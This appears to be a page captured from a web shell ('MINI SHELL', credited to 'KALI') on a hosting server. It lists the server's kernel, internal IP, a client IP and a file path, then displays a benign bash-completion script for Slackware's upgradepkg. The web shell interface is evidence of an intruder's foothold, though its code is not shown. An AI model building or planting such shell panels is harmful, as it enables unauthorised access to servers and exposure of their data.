~ K    A     L    I ~
UNAME : Linux web62.extendcp.co.uk 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
SERVER IP : 10.0.187.62 -________- CLIENT IP : 216.73.216.199
PATH :/usr/share/bash-completion/completions/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/share/bash-completion/completions/upgradepkg
# Slackware Linux upgradepkg completion                    -*- shell-script -*-

_upgradepkg()
{
    local cur prev words cword
    _init_completion || return

    if [[ "$cur" == -* ]]; then
        COMPREPLY=( $( compgen -W '--dry-run --install-new --reinstall
            --verbose' -- "$cur" ) )
        return
    fi

    if [[ "$cur" == ?*%* ]]; then
        prev="${cur%%?(\\)%*}"
        cur="${cur#*%}"
        local nofiles IFS=$'\n'
        compopt -o filenames
        COMPREPLY=( $( compgen -P "$prev%" -f -X "!*.@(t[bgxl]z)" -- "$cur" ) )
        [[ $COMPREPLY ]] || nofiles=1
        COMPREPLY+=( $( compgen -P "$prev%" -S '/' -d  -- "$cur" ) )
        [[ $nofiles ]] && compopt -o nospace
        return
    fi

    _filedir 't[bglx]z'
} &&
complete -F _upgradepkg upgradepkg

# ex: filetype=sh
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com